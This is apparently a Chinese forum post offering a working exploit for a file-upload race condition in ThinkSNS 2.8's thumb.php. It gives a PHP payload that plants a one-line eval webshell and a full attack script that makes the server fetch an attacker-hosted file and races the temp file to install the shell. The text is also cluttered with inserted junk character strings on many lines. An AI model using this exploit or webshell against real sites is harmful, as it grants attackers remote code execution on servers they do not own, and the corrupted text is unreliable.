Thinksns2.8文件上传漏洞利用exp

admin

漏洞版本
存在漏洞的版本为：最新的2.8稳定版。（其它版本没测试过）
5 E; v% d6 X3 S5 y0 ]0 A6 k8 L漏洞文件
存在漏洞的文件为：thumb.php
( K1 z' u5 r: {5 e% y+ n作者：韦鲲鹏
1、        准备如下PHP文件并上传到服务器（自己的）。
文件内容如下：
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
2、        计算出临时的文件名：
2 a; C% ~8 e; x6 }这里我们可以看文件的99行（刚刚是不是没注意呀！）。

3、        上传临时文件。
4、        访问临时文件。
但是这里有个问题，PHP脚本执行的速度是非常快的，如果手工来执行第三和第四步的话，那需要的反应速度该多快呀！所以必须写一个工具来代替人来提交数 据，而且，为了增加第三步的执行时间，为第四步争取时间，我们需要给第一步所准备的PHP填充内容，经过测试，文件大小为300KB时成功率最高。（太小 时间太短，太大可能传不上去。）
. R- R9 d- q5 J# V: B* e4 \& WExploit文件内容如下：（这个我就不详细解释了）
$ Q# l  k' Z7 _/ b8 n<?php
error_reporting(0);
; u1 c+ ~! z- R7 Cset_time_limit(0);
ini_set(“default_socket_timeout”, 5);
function http_send($host, $port, $headers) {
$fp = fsockopen($host, $port);
/ h  O/ w2 C$ H( A3 G$ @4 `3 o7 R7 Tif (!$fp) die(‘Connection -> fail’);
1 E: i( E# e: Tfputs($fp, $headers);
4 m' U5 B* n( nreturn $fp;
+ t: z! ]. v) Z$ k}
; R; G. Q  J3 Y/ n- ^function http_recv($fp) {
$ret=”";
* {+ A$ I& a: ^# G9 A. ?# qwhile (!feof($fp))
* N, M! m( z5 g; y5 K0 }' T6 m$ret.= fgets($fp, 1024);
- b% z# P1 p  `4 _/ Z) B+ P, ifclose($fp);
return $ret;
}
print “\n#  ThinkSns Arbitrary File Upload   #\n”;
print “# Discovered by 韦鲲鹏 #\n\n”;
if ($argc < 4) {
print “Usage:   php <host> <path> <romote_url>\n”;
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
; b  Q* ?6 l/ G9 D* a- z0 Zdie();
}
( c: H( R$ Z; `* Q$host = $argv[1];
) R. A9 k& C; s( S+ n) X$path = $argv[2];
$url = $argv[3];
$i=0;
//上传数据包
$ X- L; J$ {9 {) W4 B- [& i$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
% u! I* u) N+ T+ R* h$headers_up .= “Host: “.$host.”\r\n”;
( j+ @6 B- i6 m9 J$headers_up .= “Connection: close\r\n\r\n”;
( g1 b& |2 T* `echo $headers_up;
0 L" t: D8 H* p; m" ^( M//临时文件访问数据包
" b/ x" w9 [9 M3 `3 h4 H- C6 Z2 L$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
+ V) C2 v7 Q( g1 |1 l6 l( p$headers .= “Host: “.$host.”\r\n”;
$headers .= “Connection: close\r\n\r\n”;
% _+ z$ j0 J5 E3 E7 j! v! `: }! Y+ a" T% ^echo $headers;
while(++$i<10) {
fclose(http_send($host, 80, $headers));
}
fclose(http_send($host, 80, $headers_up));
9 }1 N. C9 t$ M# V0 c# y, i% rwhile(++$i<50) {
fclose(http_send($host, 80, $headers));
% z5 J: m+ w6 U- Y, B+ |}
2 A) w) k# E3 }: H; R) u+ P* d- L$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;
$headers .= “Host: “.$host.”\r\n”;
& W4 D7 K. ~9 o% [$headers .= “Connection: close\r\n\r\n”;
* k6 l  c! ]* S5 \+ a$res=http_recv(http_send($host, 80, $headers));
if(preg_match(‘/200 OK/’,$res)) {
print “Success!\n\n”;
} else {
% H& }7 B% p& \print “Fail!\n\n”;
8 I% J; m5 i* \, e2 ]}
?>
) {! Q! s( b0 B7 Q2 j​